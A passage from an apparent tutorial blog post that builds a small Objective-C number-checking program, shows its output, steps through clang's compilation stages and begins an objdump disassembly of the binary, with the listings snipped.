    <span class="hljs-built_in">NSLog</span>(STRING_FORMAT, START_MSG);
    srand(time(<span class="hljs-number">0</span>));
    <span class="hljs-built_in">NSLog</span>(STRING_FORMAT, GENERATE);
    <span class="hljs-keyword">int</span> num = rand() % MAXIMUM;
    <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"Generated number: %i"</span>, num);
    <span class="hljs-keyword">self</span>.value = num;
}

- (Boolean) isPerfectSquare{
    <span class="hljs-keyword">double</span> num = (<span class="hljs-keyword">double</span>)<span class="hljs-keyword">self</span>.value;
    <span class="hljs-keyword">double</span> sqr = sqrt(num);
    <span class="hljs-keyword">int</span> squareRoot = (<span class="hljs-keyword">int</span>) sqr;
    <span class="hljs-keyword">return</span> (squareRoot*squareRoot == <span class="hljs-keyword">self</span>.value);
}

- (<span class="hljs-keyword">int</span>) nearestPerfectSquare {
    <span class="hljs-keyword">int</span> nearest = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">if</span> ([<span class="hljs-keyword">self</span> isPerfectSquare]) {
        nearest = <span class="hljs-keyword">self</span>.value;
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">double</span> num = (<span class="hljs-keyword">double</span>)<span class="hljs-keyword">self</span>.value;
        <span class="hljs-keyword">double</span> sqr = sqrt(num);
        <span class="hljs-keyword">int</span> low = (<span class="hljs-keyword">int</span>) sqr;
        <span class="hljs-keyword">int</span> hi = low + <span class="hljs-number">1</span>;
        <span class="hljs-keyword">int</span> lowq = low * low;
        <span class="hljs-keyword">int</span> hiq = hi * hi;
        <span class="hljs-keyword">int</span> deltaLow = <span class="hljs-keyword">self</span>.value - lowq;
        <span class="hljs-keyword">int</span> deltaHi = hiq - <span class="hljs-keyword">self</span>.value;
        <span class="hljs-keyword">if</span> (deltaLow &lt; deltaHi) {
            nearest = lowq;
        }
        <span class="hljs-keyword">if</span> (deltaHi &lt; deltaLow) {
            nearest = hiq;
        }
        <span class="hljs-keyword">if</span> (deltaHi == deltaLow){
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The given number is exactly in the middle of two perfect squares: %i and %i. Returning the lowest"</span>, lowq,hiq);
            nearest = lowq;
        }
    }
    <span class="hljs-keyword">return</span> nearest;
}

- (Boolean) isPrime{
    Boolean result = <span class="hljs-literal">TRUE</span>;
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">self</span>.value &gt; <span class="hljs-number">2</span>){
        <span class="hljs-keyword">double</span> num = (<span class="hljs-keyword">double</span>)<span class="hljs-keyword">self</span>.value;
        <span class="hljs-keyword">double</span> sqr = sqrt(num);
        <span class="hljs-keyword">int</span> threshold = <span class="hljs-number">1</span> + (<span class="hljs-keyword">int</span>) sqr;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i=<span class="hljs-number">2</span>; i&lt;=threshold; i++){
            <span class="hljs-keyword">if</span> ((<span class="hljs-keyword">self</span>.value % i) == <span class="hljs-number">0</span>) {
                result = <span class="hljs-literal">FALSE</span>;
            }
        }
    } <span class="hljs-keyword">else</span> {
        result = <span class="hljs-literal">FALSE</span>;
    }
    <span class="hljs-keyword">return</span> result;
}

<span class="hljs-keyword">@end</span>

<span class="hljs-keyword">int</span> main(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> * argv[]) {
    <span class="hljs-keyword">@autoreleasepool</span> {
        <span class="hljs-comment">// insert code here...</span>
        myNumber * m = [myNumber new];
        myNumber * n = [myNumber new];
        myNumber * o = [[myNumber alloc] init];
        myNumber * p = [[myNumber alloc] init];
        myNumber * q = [[myNumber alloc] init];
        n.value = <span class="hljs-number">144</span>;
        m.value = <span class="hljs-number">155</span>;
        o.value = <span class="hljs-number">20</span>;
        p.value = <span class="hljs-number">73</span>;

        <span class="hljs-keyword">if</span> ([n isPerfectSquare]) {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is a perfect square"</span>, n.value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is not a perfect square"</span>, n.value);
        }

        <span class="hljs-keyword">if</span> ([m isPerfectSquare]) {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is a perfect square"</span>, m.value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is not a perfect square"</span>, m.value);
        }

        <span class="hljs-keyword">int</span> k = [m nearestPerfectSquare];
        <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The nearest square to %i is %i"</span>, m.value, k);
        <span class="hljs-keyword">int</span> h = [n nearestPerfectSquare];
        <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The nearest square to %i is %i"</span>, n.value, h);
        <span class="hljs-keyword">int</span> j = [o nearestPerfectSquare];
        <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The nearest square to %i is %i"</span>, o.value, j);
        <span class="hljs-keyword">int</span> i = [p nearestPerfectSquare];
        <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"The nearest square to %i is %i"</span>, p.value, i);

        <span class="hljs-keyword">if</span> ([p isPrime]) {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is prime"</span>, p.value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is not prime"</span>, p.value);
        }

        <span class="hljs-keyword">if</span> ([m isPrime]) {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is prime"</span>, m.value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">NSLog</span>(<span class="hljs-string">@"%i is not prime"</span>, m.value);
        }

        [q randomInit];
    }
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre><p>This is a very simple Objective-C program – we define a class and we use it, with no interaction with the AppKit or other proprietary frameworks (well, except for the usage of NSLog).</p>
<p>The typical output for this program is something like:</p>
<pre><code><span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">357</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] <span class="hljs-number">144</span> is a perfect square
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">358</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] <span class="hljs-number">155</span> is not a perfect square
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">358</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] The nearest square to <span class="hljs-number">155</span> is <span class="hljs-number">144</span>
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">358</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] The nearest square to <span class="hljs-number">144</span> is <span class="hljs-number">144</span>
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">358</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] The nearest square to <span class="hljs-number">20</span> is <span class="hljs-number">16</span>
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">358</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] The nearest square to <span class="hljs-number">73</span> is <span class="hljs-number">81</span>
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">358</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] <span class="hljs-number">73</span> is prime
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">358</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] <span class="hljs-number">155</span> is not prime
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">358</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] INITIALISING RANDOMNESS
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">358</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] GENERATING RANDOM NUMBER
<span class="hljs-attribute">2022</span>-<span class="hljs-number">03</span>-<span class="hljs-number">24</span> <span class="hljs-number">15</span>:<span class="hljs-number">12</span>:<span class="hljs-number">57</span>.<span class="hljs-number">358</span> myNumber[<span class="hljs-number">27549</span>:<span class="hljs-number">2847719</span>] Generated number: <span class="hljs-number">89</span>
</code></pre><p>So far, so good. Now let's review the compilation process.</p>
<h1 id="heading-compilation-process">Compilation process</h1>
<p>As shown in the aforementioned article, this code undergoes all stages of compilation before being transformed into an executable program.</p>
<h2 id="heading-preprocessing">Preprocessing</h2>
<p>To see the result of preprocessing, we invoke:</p>
<pre><code>clang <span class="hljs-operator">-</span>E <span class="hljs-operator">-</span>framework Foundation main.m
</code></pre><p>and obtain a very long text. Shortly, all libraries have been included and all macros have been replaced with their actual contents. For instance, the <code>randomInit</code> method becomes:</p>
<pre><code><span class="hljs-operator">-</span> (void) randomInit {
    NSLog(@<span class="hljs-string">"%@"</span>, @<span class="hljs-string">"INITIALISING RANDOMNESS"</span>);
    srand(time(<span class="hljs-number">0</span>));
    NSLog(@<span class="hljs-string">"%@"</span>, @<span class="hljs-string">"GENERATING RANDOM NUMBER"</span>);
    <span class="hljs-keyword">int</span> num <span class="hljs-operator">=</span> rand() <span class="hljs-operator">%</span> <span class="hljs-number">123</span>;
    NSLog(@<span class="hljs-string">"Generated number: %i"</span>, num);
    <span class="hljs-built_in">self</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span> num;
}
</code></pre><h2 id="heading-compilation">Compilation</h2>
<p>To obtain the results of the compilation phase, we invoke clang with the switch <code>-S</code>:</p>
<pre><code>clang <span class="hljs-operator">-</span>S <span class="hljs-operator">-</span>framework Foundation main.m
</code></pre><p>We will not analyse the results now, because we are going to debug and disassemble the executable in greater detail later. </p>
<h2 id="heading-assembling">Assembling</h2>
<p>The assembling phase can be observed by stopping clang with the <code>-c</code> switch:</p>
<pre><code>clang <span class="hljs-operator">-</span>c <span class="hljs-operator">-</span>framework Foundation main.m
</code></pre><h2 id="heading-linking">Linking</h2>
<p>Finally, linking takes place with the command:</p>
<pre><code>clang <span class="hljs-operator">-</span>framework Foundation main.m <span class="hljs-operator">-</span>o myNumber
</code></pre><p>This is an unusual program – everything is on a single file. The reader is suggested to build a proper program and understand how the compilation process would work in that case.</p>
<h1 id="heading-some-binary-analysis">Some binary analysis</h1>
<p>Meet <code>objdump</code>. According to its man page:</p>
<blockquote>
<p>The llvm-objdump utility prints the contents of object files and final linked images named on the command line.</p>
</blockquote>
<p>We can start by looking at the disassemble all option (<code>-D</code>, <code>--disassemble-all</code> switches). The name says it all: it disassembles the whole binary. </p>
<p>We issue the command</p>
<pre><code>objdump <span class="hljs-operator">-</span>D myNumber <span class="hljs-operator">&gt;</span> main.disass
</code></pre><p>so to have a file (<code>main.disass</code>) with the results of the disassemble operation.</p>
<p>Let’s take a look at what happened. We have:</p>
<pre><code>Disassembly of section __TEXT,__text:

00000001000036f0 <span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span>[myNumber randomInit]<span class="hljs-operator">&gt;</span>:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

0000000100003780 <span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span>[myNumber isPerfectSquare]<span class="hljs-operator">&gt;</span>:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

0000000100003800 <span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span>[myNumber nearestPerfectSquare]<span class="hljs-operator">&gt;</span>:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

0000000100003930 <span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span>[myNumber isPrime]<span class="hljs-operator">&gt;</span>:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

00000001000039f0 <span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span>[myNumber value]<span class="hljs-operator">&gt;</span>:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
0000000100003a10 <span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span>[myNumber setValue:]<span class="hljs-operator">&gt;</span>:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

0000000100003a30 <span class="hljs-operator">&lt;</span>_main<span class="hljs-operator">&gt;</span>:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __TEXT,__stubs:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __TEXT,__stub_helper:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __TEXT,__cstring:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __TEXT,__objc_methname:

<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __TEXT,__objc_classname:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __TEXT,__objc_methtype:
